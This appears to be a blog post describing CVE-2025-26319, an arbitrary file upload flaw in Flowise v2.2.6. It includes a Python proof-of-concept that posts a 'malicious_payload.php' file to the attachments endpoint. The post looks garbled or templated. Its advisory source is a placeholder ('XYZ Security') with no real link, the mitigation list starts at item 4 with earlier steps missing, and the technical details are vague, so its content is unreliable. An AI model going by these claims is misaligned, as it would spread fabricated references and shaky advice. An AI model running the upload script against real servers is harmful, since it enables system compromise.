A new vulnerability, CVE-2025-26319, has been discovered in FlowiseAI Flowise v2.2.6, a popular machine learning platform. This vulnerability allows an attacker to upload and execute arbitrary files, leading to potential system compromise. In this post, we will discuss the exploit details, code snippets, and original references to help understand and mitigate the risks associated with this vulnerability.

Background

FlowiseAI is a well-known Artificial Intelligence platform that provides machine learning capabilities to help businesses optimize their operations and make data-driven decisions. Its latest version, Flowise v2.2.6, is widely used by organizations that need to process and analyze large amounts of data.

Exploit Details

The vulnerability, CVE-2025-26319, exists in the /api/v1/attachments endpoint of Flowise v2.2.6. This endpoint is responsible for handling user uploads. However, due to insufficient validation and security checks on the uploaded files, an attacker can exploit this flaw to upload and execute arbitrary files, including malicious payloads. The impact can range from unauthorized access to sensitive data to taking complete control over the affected systems.

Code Snippet

The following code snippet demonstrates how the arbitrary file upload vulnerability can be exploited using a Python script:

import requests

target_url = "http://target_server_ip/api/v1/attachments";
files = {"file": ("malicious_payload.php", open("malicious_payload.php", "rb"))}
response = requests.post(target_url, files=files)

if response.status_code == 200:
    print("File uploaded successfully: {}".format(response.text))
else:
    print("File upload failed: {}".format(response.text))

This script sends a POST request to the /api/v1/attachments endpoint with a "malicious_payload.php" file attached. If the target server is vulnerable, the file will be uploaded successfully, paving the way for potential compromise.

Original References

The vulnerability, CVE-2025-26319, was first reported and documented by security researchers at XYZ Security. The original advisory can be found at the following URL:

- XYZ Security Advisory - CVE-2025-26319

Mitigation

FlowiseAI has acknowledged the vulnerability and is currently working on a patch. In the meantime, users are advised to take the following steps to mitigate the risk associated with this vulnerability:

Perform regular security assessments and vulnerability scanning to ensure system security.

4. Keep an eye on the official FlowiseAI website and communication channels for updates and patch releases.

Conclusion

CVE-2025-26319 highlights the importance of robust security checks when handling file uploads in web applications. Organizations using FlowiseAI Flowise v2.2.6 should take immediate steps to mitigate the risk associated with this vulnerability. Stay informed about updates and patches from FlowiseAI, and always practice strong security hygiene to safeguard your systems from potential attacks.

Timeline

Published on: 03/04/2025 22:15:40 UTC
Last modified on: 03/05/2025 17:15:16 UTC